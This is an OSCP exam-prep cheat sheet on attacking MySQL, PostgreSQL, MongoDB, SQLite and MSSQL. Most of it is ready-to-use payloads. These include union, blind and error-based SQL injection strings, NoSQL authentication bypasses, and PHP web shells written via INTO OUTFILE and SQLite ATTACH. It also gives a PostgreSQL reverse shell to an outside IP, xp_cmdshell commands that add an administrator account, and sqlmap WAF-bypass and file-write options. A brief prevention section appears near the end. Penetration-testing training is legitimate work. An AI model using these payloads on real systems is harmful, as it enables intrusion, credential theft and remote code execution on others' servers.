Databases
Overview
Database exploitation is one of the most common paths to system compromise in OSCP labs. SQL injection remains the #1 web vulnerability, and understanding how to exploit each database type is critical. This guide covers MySQL, PostgreSQL, MongoDB, SQLite, and MSSQL — the databases most likely to appear in your exam.
MySQL
MySQL is the most common database in OSCP labs, typically paired with PHP applications.
MySQL Architecture for Attackers
Client → MySQL Server → Data Files
↓
information_schema (metadata database)
↓
mysql.user (credentials)
↓
File system access (INTO OUTFILE)
SQL Injection Types
1. Union-Based SQLi
The most straightforward injection type. Requires the number of columns to match.
# Step 1: Determine column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4-- # Error means 3 columns
# Step 2: Identify which columns display in response
' UNION SELECT 1,2,3--
# Step 3: Extract data
' UNION SELECT 1,version(),user()--
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,username,password FROM users--
2. Boolean-Based Blind SQLi
When the application returns true/false responses but no direct data.
# Step 1: Confirm injection
' AND 1=1-- # Same response as normal
' AND 1=2-- # Different/error response
# Step 2: Extract data character by character
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b'--
# Step 3: Use ASCII comparison for efficiency
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>110--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>105--
# Binary search: value is between 100 and 110
3. Time-Based Blind SQLi
When the application doesn’t show different responses for true/false.
# Step 1: Confirm time-based injection
' AND SLEEP(5)-- # 5 second delay confirms vulnerability
' AND IF(1=1,SLEEP(5),0)--
# Step 2: Extract data
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--
# Step 3: Use benchmark for finer control
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100,BENCHMARK(10000000,SHA1('test')),0)--
4. Error-Based SQLi
Extract data through database error messages.
# Using updatexml
' AND updatexml(1,concat(0x7e,(SELECT version())),1)--
# Using extractvalue
' AND extractvalue(1,concat(0x7e,(SELECT user())))--
# Using floor (double query)
' AND (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(version(),FLOOR(RAND(0)*2)))--
# Using xmltype (Oracle)
' AND (SELECT XMLELEMENT(NAME a,(SELECT password FROM users)) FROM dual)--
MySQL Information Schema
The information_schema database is your best friend for enumeration.
# List all databases
SELECT schema_name FROM information_schema.schemata;
# List tables in current database
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
# List tables in specific database
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db';
# List columns in a table
SELECT column_name FROM information_schema.columns WHERE table_name='users';
# List columns with data types
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';
# Find tables containing 'user' or 'admin'
SELECT table_name FROM information_schema.tables WHERE table_name LIKE '%user%';
SELECT table_name FROM information_schema.tables WHERE table_name LIKE '%admin%';
MySQL File Operations
INTO OUTFILE for Web Shell
# Write a PHP web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'--
# Write to alternative locations
' UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3 INTO OUTFILE '/var/www/html/images/shell.php'--
# Requirements:
# - FILE privilege
# - secure_file_priv must allow the path (or be empty)
# - File must not already exist
Checking File Privileges
# Check if you have FILE privilege
SELECT current_user();
SHOW VARIABLES LIKE 'secure_file_priv';
# If secure_file_priv is empty, you can write anywhere
# If it's set to a path, you can only write to that directory
# If it's set to '', you cannot write files at all
Reading Files with LOAD_FILE
# Read a file
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
# Read PHP source code
' UNION SELECT LOAD_FILE('/var/www/html/config.php'),2,3--
# Requirements:
# - FILE privilege
# - File must be readable by MySQL user
# - File size < max_allowed_packet
MySQL UDF RCE
User-Defined Functions can be used to execute system commands.
# Step 1: Create UDF library
# Requires: FILE privilege, know the plugin directory
# Step 2: Write the UDF shared object
' UNION SELECT 0x[hex_encoded_udf_so],2,3 INTO OUTFILE '/usr/lib/mysql/plugin/libudf.so'--
# Step 3: Create the function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'libudf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'libudf.so';
# Step 4: Execute commands
SELECT sys_exec('whoami');
SELECT sys_eval('cat /etc/passwd');
Using Compiled UDF Libraries
# Download pre-compiled UDF
# Common locations for plugin directory:
# /usr/lib/mysql/plugin/
# /usr/lib64/mysql/plugin/
# /usr/local/lib/plugin/
# Find plugin directory
SHOW VARIABLES LIKE 'plugin_dir';
MySQL Stacked Queries
Some applications allow multiple queries in one statement.
# Multiple statements
'; DROP TABLE users;--
'; CREATE TABLE backdoor (cmd TEXT);--
'; INSERT INTO backdoor VALUES ('<?php system($_GET["c"]); ?>');--
# Note: Not all drivers support stacked queries
# PHP mysqli supports it, PDO may not
PostgreSQL
PostgreSQL appears in labs running Django, Ruby on Rails, or custom Python applications.
PostgreSQL-Specific SQLi
Boolean/Time-Based
# Boolean-based
' AND 1=1--
' AND 1=2--
# Time-based
' AND (SELECT pg_sleep(5))--
' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--
Union-Based
# Determine columns
' ORDER BY 1--
' ORDER BY 2--
# Extract data
' UNION SELECT 1,version(),current_user--
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='public'--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
PostgreSQL pg_hba.conf Trust Authentication
If you can read pg_hba.conf, you may find trust-based authentication.
# Example pg_hba.conf entry
local all all trust
host all all 127.0.0.1/32 trust
# Exploit: Connect without password
psql -h 127.0.0.1 -U postgres -d target_db
PostgreSQL COPY FROM PROGRAM RCE
PostgreSQL 9.3+ allows executing commands via COPY.
# RCE via COPY FROM PROGRAM
COPY (SELECT 'test') TO PROGRAM 'whoami';
# Reverse shell
COPY (SELECT 'test') TO PROGRAM 'bash -i >& /dev/tcp/10.10.14.1/9001 0>&1';
# Read files
COPY (SELECT pg_read_file('/etc/passwd')) TO PROGRAM 'cat > /tmp/passwd';
# Requirements:
# - Must be superuser OR have EXECUTE on the function
# - Available in PostgreSQL 9.3+
PostgreSQL Extension Abuse
# List installed extensions
SELECT * FROM pg_extension;
# Create extension for RCE
CREATE EXTENSION IF NOT EXISTS dblink;
# Use dblink to connect to other databases
SELECT dblink_connect('host=127.0.0.1 dbname=target_db user=postgres password=');
SELECT * FROM dblink('host=127.0.0.1 dbname=target_db', 'SELECT * FROM users') AS t(data text);
PostgreSQL File Operations
# Read files
SELECT pg_read_file('/etc/passwd', 0, 1000);
SELECT pg_read_binary_file('/etc/shadow');
# Write files (requires superuser)
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
# List directory contents (PostgreSQL 12+)
SELECT * FROM pg_ls_dir('.');
SELECT * FROM pg_ls_lardir('/etc/');
MongoDB
MongoDB is a NoSQL database that requires different injection techniques.
MongoDB Architecture for Attackers
MongoDB Instance
├── Databases
│ ├── Collections (like tables)
│ │ └── Documents (like rows, stored as BSON/JSON)
│ └── Indexes
├── Users (stored in admin database)
└── Configuration
NoSQL Injection
Authentication Bypass
The most common NoSQL injection in OSCP labs.
// Vulnerable code
db.users.find({ username: req.body.username, password: req.body.password });
// Bypass: Use comparison operators instead of values
{
"username": {"$ne": null},
"password": {"$ne": null}
}
// Alternative bypasses
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
{
"username": {"$regex": "adm.*"},
"password": {"$ne": null}
}
Exploitation via POST Request
# JSON body injection
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# URL-encoded form injection
curl -X POST http://target/login \
-d 'username[$ne]=&password[$ne]='
# Alternative with $gt
curl -X POST http://target/login \
-d 'username[$gt]=&password[$gt]='
Blind NoSQL Injection
// Character-by-character extraction
{"username": "admin", "password": {"$regex": "^p"}}
{"username": "admin", "password": {"$regex": "^pa"}}
{"username": "admin", "password": {"$regex": "^pas"}}
// Length check
{"username": "admin", "password": {"$regex": "^.{8}$"}}
MongoDB $where Code Execution
The $where operator allows JavaScript execution on the server.
// Basic code execution
{"$where": "this.password.startsWith('pa')"}
// Command execution (requires vulnerable driver)
{"$where": "function() { return new Function('return require(\\\"child_process\\\").execSync(\\\"whoami\\\")')() }"}
// Denial of service
{"$where": "while(true){}"}
MongoDB MapReduce Injection
// Inject into map function
{
"mapreduce": "users",
"map": "function() { emit(this.user, this.password) }",
"reduce": "function(k, v) { return v }",
"out": "inline"
}
Unauthenticated MongoDB Access
MongoDB often runs without authentication on default port 27017.
# Check if MongoDB is accessible
nmap -p 27017 <target>
# Connect without authentication
mongosh --host <target>
mongo --host <target> # Legacy client
# List databases
show dbs
# Switch to database
use admin
# List users
show users
# Find all documents in a collection
db.users.find()
# Extract passwords
db.users.find({}, {password: 1, _id: 0})
# Add a user
db.users.insert({username: "hacker", password: "password123", role: "admin"})
MongoDB Exploitation Tools
# NoSQLMap - automated NoSQL injection
nosqlmap -u "http://target/login?user=test&pass=test" --dbms=mongodb
nosqlmap -u "http://target/login" --data="username=test&password=test" --dbms=mongodb
# Commix - NoSQL injection module
commix --url="http://target/vuln?id=1" --technique=BUT
# Manual extraction script
python3 -c "
import requests
for i in range(33, 127):
r = requests.post('http://target/login', json={
'username': 'admin',
'password': {'\$regex': f'^{chr(i)}'}
})
if 'welcome' in r.text:
print(f'Character {i}: {chr(i)}')
break
"
SQLite
SQLite is a file-based database, making it unique for exploitation.
SQLite Architecture for Attackers
Application Database File (.db, .sqlite, .sqlite3)
├── Tables
├── Indexes
├── Views
└── Schema (sqlite_master table)
Direct File Access
SQLite databases are just files on disk. If you can access the file, you can read everything.
# Find SQLite databases
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
find /var/www -name "*.db" 2>/dev/null
# Read database directly
sqlite3 /path/to/database.db
# List tables
.tables
# Schema
.schema
# Dump all data
.dump
# Change output mode
.mode csv
.output /tmp/dump.csv
.dump
SQLite SQL Injection
Union-Based
# Determine columns
' ORDER BY 1--
' ORDER BY 2--
# Extract schema
' UNION SELECT 1,name,sql FROM sqlite_master--
# Extract data
' UNION SELECT 1,username,password FROM users--
Reading the Schema
# All tables
SELECT name FROM sqlite_master WHERE type='table';
# Table schema
SELECT sql FROM sqlite_master WHERE type='table' AND name='users';
# All data from sqlite_master
SELECT * FROM sqlite_master;
SQLite Attachment Database
SQLite allows attaching external databases, which can lead to arbitrary file read.
# Attach a file as a database
ATTACH DATABASE '/etc/passwd' AS passwd;
# Read the attached file
SELECT * FROM passwd.sqlite_master;
# Attach and read arbitrary files
ATTACH DATABASE '/var/www/html/config.php' AS config;
SELECT * FROM config.sqlite_master;
SQLite Arbitrary File Write
# Write to a file via backup
ATTACH DATABASE '/var/www/html/shell.php' AS shell;
CREATE TABLE shell.backdoor (data TEXT);
INSERT INTO shell.backdoor VALUES ('<?php system($_GET["cmd"]); ?>');
DETACH DATABASE shell;
# Alternative: Write via backup API
.backup /var/www/html/shell.php main
SQLite Common Locations in OSCP Labs
/var/www/html/database.db
/var/www/html/app.db
/home/user/app/database.sqlite
/opt/app/data.db
/tmp/app.db
MSSQL
Microsoft SQL Server appears in Windows-based OSCP labs.
MSSQL SQL Injection
Union-Based
# Determine columns
' ORDER BY 1--
' ORDER BY 2--
# Extract data
' UNION SELECT 1,@@version,3--
' UNION SELECT 1,system_user,3--
' UNION SELECT 1,db_name(),3--
# List databases
' UNION SELECT 1,name,3 FROM sys.databases--
# List tables
' UNION SELECT 1,name,3 FROM sys.tables--
# List columns
' UNION SELECT 1,column_name,3 FROM sys.columns WHERE object_id=(SELECT object_id FROM sys.tables WHERE name='users')--
xp_cmdshell RCE
The most powerful MSSQL exploitation technique.
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user hacker Password123! /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
-- Reverse shell
EXEC xp_cmdshell 'powershell -enc [BASE64_ENCODED_PAYLOAD]';
MSSQL Linked Servers
Linked servers can be used for lateral movement.
-- List linked servers
SELECT * FROM sys.linked_servers;
-- Execute commands on linked server
EXEC ('SELECT SYSTEM_USER') AT [LINKED_SERVER];
-- OpenQuery for RCE
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT * FROM sys.databases');
-- Double-hop attack
EXEC ('EXEC xp_cmdshell "whoami"') AT [LINKED_SERVER];
MSSQL OLE Automation
-- Enable OLE Automation
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- Execute commands via OLE
DECLARE @obj INT;
EXEC sp_OACreate 'WScript.Shell', @obj OUT;
EXEC sp_OAMethod @obj, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\out.txt';
EXEC sp_OADestroy @obj;
SQL Injection Automation with sqlmap
sqlmap is the primary tool for SQL injection exploitation in OSCP.
Basic sqlmap Commands
# Basic detection
sqlmap -u "http://target/vuln?id=1"
# Specify injection parameter
sqlmap -u "http://target/vuln?id=1" -p id
# Specify request method
sqlmap -u "http://target/vuln" --data="id=1" -p id
# Use a request file
sqlmap -r request.txt
# Specify database
sqlmap -u "http://target/vuln?id=1" -D target_db
# Dump specific table
sqlmap -u "http://target/vuln?id=1" -D target_db -T users --dump
# Dump specific columns
sqlmap -u "http://target/vuln?id=1" -D target_db -T users -C username,password --dump
# OS shell (if possible)
sqlmap -u "http://target/vuln?id=1" --os-shell
# SQL shell
sqlmap -u "http://target/vuln?id=1" --sql-shell
Advanced sqlmap Options
# Bypass WAF
sqlmap -u "http://target/vuln?id=1" --tamper=space2comment,charencode
# Multiple tamper scripts
sqlmap -u "http://target/vuln?id=1" --tamper=space2comment,charencode,randomcase
# Common tamper scripts for OSCP
--tamper=space2comment # Replace spaces with comments
--tamper=charencode # Character encoding
--tamper=randomcase # Random case
--tamper=unionalltounion # UNION ALL to UNION
--tamper=appendnullbyte # Append null byte
--tamper=space2dash # Spaces to dashes
# Custom injection
sqlmap -u "http://target/vuln?id=1" --technique=BUEST
# Risk and level
sqlmap -u "http://target/vuln?id=1" --level=5 --risk=3
# Thread count
sqlmap -u "http://target/vuln?id=1" --threads=10
# Delay between requests
sqlmap -u "http://target/vuln?id=1" --delay=2
# Use proxy
sqlmap -u "http://target/vuln?id=1" --proxy="http://127.0.0.1:8080"
# Cookie-based injection
sqlmap -u "http://target/vuln" --cookie="id=1" -p id
# Header-based injection
sqlmap -u "http://target/vuln" --header="X-Forwarded-For: 1.1.1.1" --level=5
sqlmap File Operations
# Read file
sqlmap -u "http://target/vuln?id=1" --file-read="/etc/passwd"
# Write file
sqlmap -u "http://target/vuln?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"
# Check file existence
sqlmap -u "http://target/vuln?id=1" --file-exist="/etc/passwd"
sqlmap for NoSQL
# MongoDB injection
sqlmap -u "http://target/login" --data="username=admin&password=test" --dbms=mongodb
# Alternative: Use nosqlmap
nosqlmap -u "http://target/login" --data="username=admin&password=test" --dbms=mongodb
SQL Injection Prevention and Mitigation
Parameterized Queries
// PHP - PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);
// PHP - MySQLi
$stmt = $mysqli->prepare('SELECT * FROM users WHERE username = ?');
$stmt->bind_param('s', $username);
# Python - psycopg2
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
# Python - SQLAlchemy
result = session.query(User).filter(User.username == username).all()
// Java - PreparedStatement
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
Defense Strategies
- Always use parameterized queries — never concatenate user input
- Implement input validation — whitelist allowed characters
- Use ORM frameworks — they handle parameterization automatically
- Apply least privilege — database accounts should have minimal permissions
- Disable dangerous features — xp_cmdshell, UDF creation, file operations
- Use WAF — Web Application Firewalls can detect and block SQLi
- Regular audits — scan for SQL injection vulnerabilities regularly
OSCP Database Exploitation Checklist
When You Find a SQL Injection
-
Determine the database type
- MySQL:
SELECT version(),@@version - PostgreSQL:
SELECT version(),current_database() - MSSQL:
SELECT @@version - SQLite:
SELECT sqlite_version()
- MySQL:
-
Determine injection type
- Union-based: Try
UNION SELECT 1,2,3-- - Boolean-based: Try
AND 1=1vsAND 1=2 - Time-based: Try
SLEEP(5)/pg_sleep(5) - Error-based: Look for error messages in response
- Union-based: Try
-
Enumerate the database
- List databases
- List tables
- List columns
- Extract credentials
-
Escalate to RCE
- MySQL: INTO OUTFILE for web shell
- PostgreSQL: COPY FROM PROGRAM
- MSSQL: xp_cmdshell
- SQLite: File write via attachment
Common OSCP Lab Database Patterns
- PHP + MySQL: Classic SQLi → credential dump → SSH login
- Python + PostgreSQL: SQLi → admin password → panel access → RCE
- Node.js + MongoDB: NoSQL injection → auth bypass → admin panel
- PHP + SQLite: Direct file access → read database → find credentials
Key Takeaways
- MySQL is most common in OSCP labs — master its injection techniques
- NoSQL injection is simpler than SQLi but equally dangerous
- Direct SQLite file access is often overlooked but trivially exploitable
- PostgreSQL COPY FROM PROGRAM is a direct RCE vector
- MSSQL xp_cmdshell provides immediate system access
- sqlmap is powerful but understand manual techniques for exam scenarios
- Always try to read source code first — it reveals the database type and structure
- Credential dumping is the most common goal — focus on finding user tables
Exam Tips
- When sqlmap fails, try manual injection — sometimes the application filters sqlmap’s payloads
- For blind SQLi, write a Python script for binary search extraction
- Always check for stacked queries — they enable more powerful attacks
- Look for backup files (
.sql,.bak) that may contain credentials - Check for database configuration files (
config.php,database.yml) - If you can read files, look for
.envfiles with database credentials - Document your SQLi findings with the exact payloads that work
- Practice both automated (sqlmap) and manual SQLi techniques